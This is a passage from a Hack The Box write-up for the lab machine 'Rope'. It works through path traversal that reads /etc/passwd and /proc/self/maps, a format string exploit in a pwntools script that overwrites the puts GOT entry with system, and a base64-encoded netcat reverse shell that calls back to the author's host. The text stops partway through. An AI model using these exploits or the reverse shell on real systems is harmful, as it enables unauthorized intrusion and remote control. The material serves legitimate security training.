Hack The Box – Rope

This article contains my writeup on the machine Rope from Hack The Box. I really enjoyed the box, since it provides a total of three custom binaries, which are supposed to be exploited 🙂

The article is divided into the following parts:

User
    – Initial Recon
    – httpserver
    – Leak Memory Address
    – Exploit Format String Vulnerability
    – Escalating from john to r4j (readlogs)

Root
    – Local Recon
    – contact
    – Bruteforce
    – Libc Leak
    – Final Exploit


User

Initial Recon

We start by scanning the 1000 most common ports using nmap (-sV: version detection, -sC: run default scripts):

root@kali:~/htb/boxes/rope# nmap -sV -sC 10.10.10.148
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-08 06:50 EDT
Nmap scan report for 10.10.10.148
Host is up (0.010s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)
|   256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)
|_  256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)
9999/tcp open  abyss?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache
|     Content-length: 4871
|     Content-type: text/html
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <title>Login V10</title>
...
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.80%I=7%D=10/8%Time=5D9C69E2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1378,"HTTP/1\.1\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nCac
SF:he-Control:\x20no-cache\r\nContent-length:\x204871\r\nContent-type:\x20
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.66 seconds

Accordingly there is an OpenSSH server running on port 22. Port 9999 is also open, though nmap cannot determine the service/version. Based on the output it is obviously a web server running on this port.

Do not forget to also run a full port scan e.g. using nmap 10.10.10.148 -p-. We should also check for UDP services, though there are none running here.

Since we cannot do much with SSH for now, let’s have a closer look at the web server running on port 9999. The root-page displays a login prompt:

There is some javascript code for clientside validation of the input fields, but this does not lead to anything useful. When static resources like the root-page are accessed the server does not provide a Server header, which may reveal what kind of web server is in place:

root@kali:~/htb/boxes/rope# curl -v http://10.10.10.148:9999
*   Trying 10.10.10.148:9999...
* TCP_NODELAY set
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.65.3
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-cache
< Content-length: 4871
< Content-type: text/html
< 
<!DOCTYPE html>
<html lang="en">
...

However, when we try to access a non existing page, a Server header is provided:

root@kali:~/htb/boxes/rope# curl -v http://10.10.10.148:9999/totally_not_existing
*   Trying 10.10.10.148:9999...
* TCP_NODELAY set
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET /totally_not_existing HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.65.3
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not found
< Server: simple http server
< Content-length: 14
< 
* Connection #0 to host 10.10.10.148 left intact
File not found

Accordingly the server is called simple http server. Despite the similar name of the popular python SimpleHTTP server (banner: SimpleHTTP/0.6 Python/XXX), this does not seem to be a well-known web server.

By feeding some custom inputs to the web server, we can figure out that we can list all files in the web server’s current directory by simply issuing a GET request to . (dot):

root@kali:~/htb/boxes/rope# echo -ne 'GET .\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Server: simple http server
Content-Type: text/html

<html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
<tr><td><a href="fonts/">fonts/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="index.html">index.html</a></td><td>2019-06-19 17:34</td><td>4.8K</td></tr>
<tr><td><a href="images/">images/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="httpserver">httpserver</a></td><td>2019-06-19 17:30</td><td>21.3K</td></tr>
<tr><td><a href="js/">js/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="vendor/">vendor/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="css/">css/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="run.sh">run.sh</a></td><td>2019-06-20 07:27</td><td>85</td></tr>
</table></body></html>

The directory contains a file called httpserver, which probably is the web server itself. So let’s grab this file:

root@kali:~/htb/boxes/rope# mkdir loot
root@kali:~/htb/boxes/rope# cd loot
root@kali:~/htb/boxes/rope/loot# wget http://10.10.10.148:9999/httpserver
--2019-10-08 07:44:04--  http://10.10.10.148:9999/httpserver
Connecting to 10.10.10.148:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21840 (21K) 
Saving to: ‘httpserver’

httpserver                       100%[==========================================================>]  21.33K  --.-KB/s    in 0.01s   

2019-10-08 07:44:04 (2.17 MB/s) - ‘httpserver’ saved [21840/21840]

httpserver

The file is a 32-bit ELF binary:

root@kali:~/htb/boxes/rope/loot# file httpserver 
httpserver: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped

Stack canaries, NX as well as PIE are enabled:

root@kali:~/htb/boxes/rope/loot# checksec httpserver
[*] '/root/htb/boxes/rope/loot/httpserver'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

In order to get a quick overview what the binary is doing, I usually use ghidra. By giving the used variables meaningful names and adding comments to the decompiled code it is a good way to document acquired insights.

The following pictures shows an excerpt of the decompile window of ghidra. The main function of the program is listening for new connections in an infinite loop and calls the function process for every new connection:

Within the process function a new process is forked to handle the connection. This process parses the HTTP request and sends the respective HTTP response. The details are not relevant for our consideration, so I skip them here. After spending some time to get a good overview of how the HTTP request is parsed and how the response is constructed, I started looking for obvious vulnerabilities. The function log_access, which logs each HTTP request, quickly caught my attention:

The decompiled output from ghidra quickly shows that on line 19 a variable (param_3) is passed as the first parameter to printf. As the first parameter of printf is the format string to be used, this should in almost all cases be a static string instead of a dynamic variable. If the user can control this variable, the program is prone to a format string vulnerability.

In order to determine what the variable param_3 contains, we can analyze the code statically or simple run the program locally in gdb and set a breakpoint on the log_access function. To conveniently debug the program, we can run the binary (./httpserver) and attach to the running process afterwards:

root@kali:~/htb/boxes/rope/loot# gdb ./httpserver $(pidof httpserver)
...
gdb-peda$ b *log_access 
Breakpoint 1 at 0x56557077
gdb-peda$ c
Continuing.

This way we can send different payloads to the server without restarting it all the time.

If we now issue a HTTP request to the locally running web server, the breakpoint is hit:

root@kali:~# curl http://0:9999
...
[Attaching after process 7413 fork to child process 7435]
[New inferior 2 (process 7435)]
[Detaching after fork from parent process 7413]
[Inferior 1 (process 7413) detached]
[Switching to process 7435]
[----------------------------------registers-----------------------------------]
EAX: 0xffffc9d4 ("./index.html")
EBX: 0x5655a000 --> 0x4efc 
ECX: 0x7ffffff5 
EDX: 0xf7fb2010 --> 0x0 
ESI: 0xf7fb0000 --> 0x1d6d6c 
EDI: 0xf7fb0000 --> 0x1d6d6c 
EBP: 0xffffd1e8 --> 0xffffd348 --> 0x0 
ESP: 0xffffc93c --> 0x565576e3 (<process+524>:	add    esp,0x10)
EIP: 0x56557077 (<log_access>:	push   ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56557072 <parse_request+595>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x56557075 <parse_request+598>:	leave  
   0x56557076 <parse_request+599>:	ret    
=> 0x56557077 <log_access>:	push   ebp
   0x56557078 <log_access+1>:	mov    ebp,esp
   0x5655707a <log_access+3>:	push   esi
   0x5655707b <log_access+4>:	push   ebx
   0x5655707c <log_access+5>:	sub    esp,0x20
[------------------------------------stack-------------------------------------]
0000| 0xffffc93c --> 0x565576e3 (<process+524>:	add    esp,0x10)
0004| 0xffffc940 --> 0xc8 
0008| 0xffffc944 --> 0xffffd22c --> 0xaae40002 
0012| 0xffffc948 --> 0xffffc9d4 ("./index.html")
0016| 0xffffc94c --> 0x13 
0020| 0xffffc950 --> 0xffffc9a4 --> 0xf7ec0000 (<wordexp+2656>:	test   BYTE PTR [eax+ecx*4],ah)
0024| 0xffffc954 --> 0xffffc9a0 --> 0x0 
0028| 0xffffc958 --> 0xffffd22c --> 0xaae40002 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 2.1 "httpserver" hit Breakpoint 1, 0x56557077 in log_access ()
gdb-peda$ 

The third parameter (param_3) is the fourth item on the stack, which is the string "./index.html". This is the resource we requested within the HTTP request (in this case the string "./index.html" was set by the program since we only queried the root-page "/"). If you experience that the breakpoint is not hit on the first request, just resend the request and the breakpoint will eventually be hit.

In order to verify that the web server is vulnerable to a format string vulnerability, let’s start by dumping a few memory address. In order to do this, we can request a resource, which contains the format specifier %p. When getting a quick overview of the program you probably noticed that the requested resource is URL decoded by calling the function url_decode before being logged. This function simply looks for a percent sign (%) and interprets the following two characters as a hex value. This simply means, that we have to URL encode the percent sign we want to use in our format specifier (%25):

root@kali:~/htb/boxes/rope# echo -ne 'GET %25p.%25p.%25p.%25p\r\n\r\n'|nc 0 9999
HTTP/1.1 404 Not found
Server: simple http server
Content-length: 14

File not found
...
accept request, fd is 4, pid is 9115
127.0.0.1:35620 404 - 0xf7f840dc.0x8b24.0x194.0xfff32ab8
request method:
GET

We successfully dumped four values from memory and confirmed that the program is vulnerable to a format string vulnerability.

How can we exploit this?

We have already seen that the program is not compiled with full RELRO:

root@kali:~/htb/boxes/rope/loot# checksec httpserver
[*] '/root/htb/boxes/rope/loot/httpserver'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

This means that we can overwrite an entry within the GOT in order to control the instruction pointer. The problem is that the program is compiled as a Position Independent Executable (PIE) and we thus don’t know the address of the GOT. Accordingly we need a leak first.

Leak Memory Address

We have already seen, that the web server can be used to list the content of the current directory. We can also traverse through the file system and read arbitrary files (if we have read access). For example we can read the passwd file using the following command:

root@kali:~/htb/boxes/rope# echo -ne 'GET ../../etc/passwd\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 1594
Content-type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash

In order to get the address of the current process, we should simply be able to read the memory maps from /proc/self/maps:

root@kali:~/htb/boxes/rope# echo -ne 'GET ../../proc/self/maps\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 0
Content-type: text/plain

Ouh? We get a HTTP 200 OK response, but the response body is empty. Also the Content-length is set to zero. Why is this?

The reason for this is that /proc is a pseudo-file system. The output when we run cat /proc/self/maps is generated on the fly. There is no file stored on the hard disk waiting to be read. Because of this the file size is actually zero. The following example program demonstrates this:

root@kali:~/htb/boxes/rope/test# cat fstat_test.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  if (argc < 2) return -1;
  int f = open(argv[1], O_RDONLY);
  struct stat buffer;
  fstat(f, &buffer);
  printf("size: %d\n", buffer.st_size);
  close(f);
  return 0;
}
root@kali:~/htb/boxes/rope/test# gcc fstat_test.c -o fstat_test
root@kali:~/htb/boxes/rope/test# ./fstat_test /etc/passwd
size: 2996
root@kali:~/htb/boxes/rope/test# ./fstat_test /proc/self/maps
size: 0

We can also see that the file size is zero using ls:

root@kali:~/htb/boxes/rope/test# ls -al /proc/self/maps
-r--r--r-- 1 root root 0 Oct  8 09:50 /proc/self/maps

Because of this the web server can open /proc/self/maps but only sends zero bytes from the file. Luckily the web server provides a way to actively set the file size we want to read by setting the Range header:

By providing this header in the request, we can successfully read the memory layout from /proc/self/maps:

root@kali:~/htb/boxes/rope/test# echo -ne 'GET ../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 10001
Content-type: text/plain

56624000-56625000 r--p 00000000 08:02 660546                             /opt/www/httpserver
56625000-56627000 r-xp 00001000 08:02 660546                             /opt/www/httpserver
56627000-56628000 r--p 00003000 08:02 660546                             /opt/www/httpserver
56628000-56629000 r--p 00003000 08:02 660546                             /opt/www/httpserver
56629000-5662a000 rw-p 00004000 08:02 660546                             /opt/www/httpserver
57367000-57389000 rw-p 00000000 00:00 0                                  [heap]
f7de3000-f7fb5000 r-xp 00000000 08:02 660685                             /lib32/libc-2.27.so
f7fb5000-f7fb6000 ---p 001d2000 08:02 660685                             /lib32/libc-2.27.so
f7fb6000-f7fb8000 r--p 001d2000 08:02 660685                             /lib32/libc-2.27.so
f7fb8000-f7fb9000 rw-p 001d4000 08:02 660685                             /lib32/libc-2.27.so
f7fb9000-f7fbc000 rw-p 00000000 00:00 0 
f7fc5000-f7fc7000 rw-p 00000000 00:00 0 
f7fc7000-f7fca000 r--p 00000000 00:00 0                                  [vvar]
f7fca000-f7fcc000 r-xp 00000000 00:00 0                                  [vdso]
f7fcc000-f7ff2000 r-xp 00000000 08:02 660681                             /lib32/ld-2.27.so
f7ff2000-f7ff3000 r--p 00025000 08:02 660681                             /lib32/ld-2.27.so
f7ff3000-f7ff4000 rw-p 00026000 08:02 660681                             /lib32/ld-2.27.so
ff98a000-ff9ab000 rw-p 00000000 00:00 0                                  [stack]

Because the program is forking new child processes, the addresses will stay the same on every request.

Exploit Format String Vulnerability

Since we now have leaked the memory maps of the process, we can forge an exploit for the format string vulnerability.

As already mentioned, our goal is to overwrite an entry within the GOT. The only function, which is called after the printf is puts (line 20-22):

The easiest way to get a shell by overwriting a single address is to use a one_gadget (see my article on heap exploitation for an explanation). The problem in this case is that the shell will be bound to stdin/stdout (fd 0/1), but we are interacting with the process through a socket connection (fd 4). In order to interact with the shell, we could call dup2(4,0) and dup(4,1), which would bind stdin and stdout to the socket connection. Though, the format string vulnerability cannot be easily used to write all the data necessary to trigger those calls.

Thus I decided not to use a one_gadget. Instead let’s have a look at the puts calls after the printf again:

The third puts on line 22 will print out the request method. We make the request. We control the request method. This means we control the one and only parameter to puts, which is a string. If we change puts to system by overwriting the GOT entry of puts with the address of system, we can trigger an arbitrary OS command. We only have to set the request method to the name of the program, we want to execute.

The details on how to leverage a format string vulnerability to write data using the %n format specifier can also be read in my article on RPISEC/MBE lab4B. Though, let’s quickly recap the necessary steps. At first we need to know where on the stack the format string itself is located at the time printf is called. In order to do this, we set a breakpoint on the printf call …

gdb-peda$ disassemble log_access 
Dump of assembler code for function log_access:
...
   0x565570e5 <+110>:	mov    eax,DWORD PTR [ebp-0x24]
   0x565570e8 <+113>:	sub    esp,0xc
   0x565570eb <+116>:	push   eax
   0x565570ec <+117>:	call   0x56556060 <printf@plt>
... 
End of assembler dump.
gdb-peda$ b *log_access+117
Breakpoint 1 at 0x565570ec
gdb-peda$ c

… and send a request to our local server:

root@kali:~/htb/boxes/rope# echo -ne 'GET AAAA\r\n\r\n'|nc 0 9999
HTTP/1.1 404 Not found
Server: simple http server
Content-length: 14

File not found

The breakpoint is hit:

[----------------------------------registers-----------------------------------]
EAX: 0xffffc984 ("AAAA")
EBX: 0x5655a000 --> 0x4efc 
ECX: 0x7fffffec 
EDX: 0xf7fb2010 --> 0x0 
ESI: 0xdea8 
EDI: 0xf7fb0000 --> 0x1d6d6c 
EBP: 0xffffc8e8 --> 0xffffd198 --> 0xffffd2f8 --> 0x0 
ESP: 0xffffc8b0 --> 0xffffc984 ("AAAA")
EIP: 0x565570ec (<log_access+117>:	call   0x56556060 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565570e5 <log_access+110>:	mov    eax,DWORD PTR [ebp-0x24]
   0x565570e8 <log_access+113>:	sub    esp,0xc
   0x565570eb <log_access+116>:	push   eax
=> 0x565570ec <log_access+117>:	call   0x56556060 <printf@plt>
   0x565570f1 <log_access+122>:	add    esp,0x10
   0x565570f4 <log_access+125>:	sub    esp,0xc
   0x565570f7 <log_access+128>:	lea    eax,[ebx-0x1e1e]
   0x565570fd <log_access+134>:	push   eax
Guessed arguments:
arg[0]: 0xffffc984 ("AAAA")
[------------------------------------stack-------------------------------------]
0000| 0xffffc8b0 --> 0xffffc984 ("AAAA")
0004| 0xffffc8b4 --> 0xf7fcf0dc ("127.0.0.1")
0008| 0xffffc8b8 --> 0xdea8 
0012| 0xffffc8bc --> 0x194 
0016| 0xffffc8c0 --> 0xffffd198 --> 0xffffd2f8 --> 0x0 
0020| 0xffffc8c4 --> 0xffffc984 ("AAAA")
0024| 0xffffc8c8 --> 0xffffd1dc --> 0xa8de0002 
0028| 0xffffc8cc --> 0x194 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570ec in log_access ()
gdb-peda$ 

Now we can search where on the stack the format string ("AAAA") is located:

gdb-peda$ searchmem "AAAA"
Searching for 'AAAA' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xffffb8e0 ("AAAA\r\n\r\n")
[stack] : 0xffffbce0 ("AAAA\r\n")
[stack] : 0xffffc984 ("AAAA")

The string is stored on the stack three times. Since we can only reference items below the current stack address (higher address value), only the last one is suitable. In order to calculate the value for the argument selector we simply subtract this address from the current stack address and divide it by 4 (32bit):

gdb-peda$ p/d (0xffffc984-0xffffc8b0)/4
$1 = 53

Thus the argument selector which references the format string itself is 53. We can quickly verify this by making the following request (remember to URL encode the percent sign '%'):

root@kali:~/htb/boxes/rope# echo -ne 'GET AAAA%2553$p\r\n\r\n'|nc 0 9999
...

root@kali:~/htb/boxes/rope/loot# ./httpserver 
listen on port 9999, fd is 3
accept request, fd is 4, pid is 3700
127.0.0.1:57002 404 - AAAA0x41414141
request method:
GET

The string "AAAA" is followed by the value 0x41414141, which is indeed the format string. Thus we successfully determined the value for the argument selector.

Before we can carry on, we need to determine a few addresses and offsets. Namely we need to know the following:

  • address of image base
  • address of libc base
  • offset of puts GOT entry within the image
  • offset of system within the libc

We have already figured out, that we can leak the addresses through /proc/self/maps. The following python script carries out the corresponding request and extracts the image base and libc base:

#!/usr/bin/env python

from pwn import *

debug = False
rhost = '10.10.10.148'
rport = 9999
if (debug): rhost = '127.0.0.1'

# leak image and libc base
io = remote(rhost, rport)
io.send('GET ../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n')
maps = io.recvuntil('[stack]').split('\n')
img_base  = int(maps[6].split('-')[0], 16)  #  7th line contains image base
libc_base = int(maps[12].split('-')[0], 16) # 13th line contains libc base
log.info('img_base : ' + hex(img_base))
log.info('libc_base: ' + hex(libc_base))
io.close()

Running the script displays both addresses:

root@kali:~/htb/boxes/rope# ./expl.py 
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] img_base : 0x565ec000
[*] libc_base: 0xf7cff000

In order to determine the offset of the GOT entry of puts, we can for example use gdb:

root@kali:~/htb/boxes/rope/loot# gdb ./httpserver 
GNU gdb (Debian 8.3-1) 8.3
...
gdb-peda$ p &'puts@got.plt' 
$1 = (<text from jump slot in .got.plt, no debug info> *) 0x5048 <puts@got.plt>
gdb-peda$ 

Accordingly the offset is 0x5048.

In order to determine the offset of the system function within the libc, we need to get the libc version from the server. Within the memory maps of the server process, we have already seen which libc is used: /lib32/libc-2.27.so. Let’s download it using nc (we must cut the first bytes, which contain the HTTP response header):

root@kali:~/htb/boxes/rope/loot# echo -ne 'GET ../../lib32/libc-2.27.so\r\n\r\n'|nc 10.10.10.148 9999 > libc-2.27.so.req
root@kali:~/htb/boxes/rope/loot# hexdump -C libc-2.27.so.req|head
00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d  |HTTP/1.1 200 OK.|
00000010  0a 41 63 63 65 70 74 2d  52 61 6e 67 65 73 3a 20  |.Accept-Ranges: |
00000020  62 79 74 65 73 0d 0a 43  61 63 68 65 2d 43 6f 6e  |bytes..Cache-Con|
00000030  74 72 6f 6c 3a 20 6e 6f  2d 63 61 63 68 65 0d 0a  |trol: no-cache..|
00000040  43 6f 6e 74 65 6e 74 2d  6c 65 6e 67 74 68 3a 20  |Content-length: |
00000050  31 39 32 36 38 32 38 0d  0a 43 6f 6e 74 65 6e 74  |1926828..Content|
00000060  2d 74 79 70 65 3a 20 74  65 78 74 2f 70 6c 61 69  |-type: text/plai|
00000070  6e 0d 0a 0d 0a 7f 45 4c  46 01 01 01 03 00 00 00  |n.....ELF.......|
00000080  00 00 00 00 00 03 00 03  00 01 00 00 00 00 90 01  |................|
00000090  00 34 00 00 00 0c 5c 1d  00 00 00 00 00 34 00 20  |.4....\......4. |
root@kali:~/htb/boxes/rope/loot# dd if=libc-2.27.so.req of=libc-2.27.so bs=1 skip=$(rax2 0x75)
1926828+0 records in
1926828+0 records out
1926828 bytes (1.9 MB, 1.8 MiB) copied, 2.92157 s, 660 kB/s
root@kali:~/htb/boxes/rope/loot# file libc-2.27.so
libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=63b3d43ad45e1b0f601848c65b067f9e9b40528b, for GNU/Linux 3.2.0, stripped

Now we can for example use pwntools to determine the offset of system:

root@kali:~/htb/boxes/rope/loot# python
Python 2.7.16+ (default, Sep  4 2019, 08:19:57) 
[GCC 9.2.1 20190827] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> libc = ELF('libc-2.27.so')
[*] '/root/htb/boxes/rope/loot/libc-2.27.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(libc.symbols['system'])
'0x3cd10'

The offset is 0x3cd10.

In order to debug the program locally, we have to use the system offset from our local libc:

root@kali:~/htb/boxes/rope/loot# ldd httpserver 
	linux-gate.so.1 (0xf7fd3000)
	libc.so.6 => /lib32/libc.so.6 (0xf7dd3000)
	/lib/ld-linux.so.2 (0xf7fd4000)
root@kali:~/htb/boxes/rope/loot# python
Python 2.7.16+ (default, Sep  4 2019, 08:19:57) 
[GCC 9.2.1 20190827] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> libc = ELF('/lib32/libc.so.6')
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(libc.symbols['system'])
'0x423d0'

In order to write the address of system to the GOT entry of puts, we split the 4-byte-write into two 2-byte-writes using the format specifier %hn. Because of this we have to store the address of puts_got and puts_got+2 at the beginning of the format string. After this we pad the output to create enough bytes to write the value of the system address (as mentioned before, details on this can be read in this article):

# calculate addresses
puts_got = img_base + 0x5048 # live server
system   = libc_base + 0x3cd10 # live server
if (debug): system   = libc_base + 0x423d0 # local
log.info('puts_got : ' + hex(puts_got))
log.info('system   : ' + hex(system))

# craft format string
system_lword = system & 0xffff
system_hword = system >> 16
fmt  = p32(puts_got)
fmt += p32(puts_got+2)
fmt += '%25'+str(system_lword-8)+'x'
fmt += '%2553$hn'
fmt += '%25'+str(system_hword-system_lword)+'x'
fmt += '%2554$hn'
io = remote(rhost, rport)
io.send('GET '+fmt+'\r\n\r\n')
io.interactive()

Let’s verify if the GOT entry is successfully overwritten by setting a breakpoint on the printf call and run the python script against our local server. When the breakpoint is hit before the printf call, the GOT entry contains the value 0x56556126:

...
[-------------------------------------code-------------------------------------]
   0x565570e5 <log_access+110>:	mov    eax,DWORD PTR [ebp-0x24]
   0x565570e8 <log_access+113>:	sub    esp,0xc
   0x565570eb <log_access+116>:	push   eax
=> 0x565570ec <log_access+117>:	call   0x56556060 <printf@plt>
   0x565570f1 <log_access+122>:	add    esp,0x10
   0x565570f4 <log_access+125>:	sub    esp,0xc
   0x565570f7 <log_access+128>:	lea    eax,[ebx-0x1e1e]
   0x565570fd <log_access+134>:	push   eax
Guessed arguments:
arg[0]: 0xffffc9d4 --> 0x5655a048 ("&aUV6aUVFaUVVaUV\360*\354\367vaUV\206aUV\300\a\341\367\020=\354\367\340-\346\367\360v\337\367\220/\354\367p[\355\367\260\244\342\367\220\253\361\367\026bUV0\266\351\367\066bUV0H\356\367\320]\355\367fbUV@H\356\367\206bUV@\224\342\367\246bUVpb\355\367\320:\354\367\326bUV")
[------------------------------------stack-------------------------------------]
0000| 0xffffc900 --> 0xffffc9d4 --> 0x5655a048 ("&aUV6aUVFaUVVaUV\360*\354\367vaUV\206aUV\300\a\341\367\020=\354\367\340-\346\367\360v\337\367\220/\354\367p[\355\367\260\244\342\367\220\253\361\367\026bUV0\266\351\367\066bUV0H\356\367\320]\355\367fbUV@H\356\367\206bUV@\224\342\367\246bUVpb\355\367\320:\354\367\326bUV")
0004| 0xffffc904 --> 0xf7fcf0dc ("127.0.0.1")
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570ec in log_access ()
gdb-peda$ x/xw 0x5655a048
0x5655a048 <puts@got.plt>:	0x56556126

Stepping over the printf call (ni), we can see that the value changed:

gdb-peda$ ni
...
gdb-peda$ x/xw 0x5655a048
0x5655a048 <puts@got.plt>:	0xf7e1b3d0

This is actually the address of system:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e1b3d0 <system>

Now all subsequent calls to puts will turn into calls to system:

This means that the program will call:

system("");
system("request method:");
system(param_3+0x400);

The first two calls will probably fail, though we do not care. The third call uses the variable param_3+0x400, which is the request method as we already figured out. Let’s have a look at what is happening, if we change the request method to /bin/sh:

...
fmt += '%25'+str(system_hword-system_lword)+'x'
fmt += '%2554$hn'
io = remote(rhost, rport)
io.send('/bin/sh '+fmt+'\r\n\r\n')
io.interactive()
root@kali:~/htb/boxes/rope/loot# ./httpserver 
listen on port 9999, fd is 3
...
sh: 1: request: not found
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

We can actually see, that the server tried to run the program request from the second call. After this /bin/sh is executed, spawning a shell. However this shell is bound to stdin/stdout of the server and we cannot interact with it. We can circumvent this by running a command, which gives us a detached shell. For this purpose I tried different reverse shells from pentestmonkey.net. In order to avoid problems with special characters, we can base64 encode the reverse shell beforehand:

root@kali:~/htb/boxes/rope# echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.12.95 7001 >/tmp/f' | base64 -w0
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==

And decode it on the server:

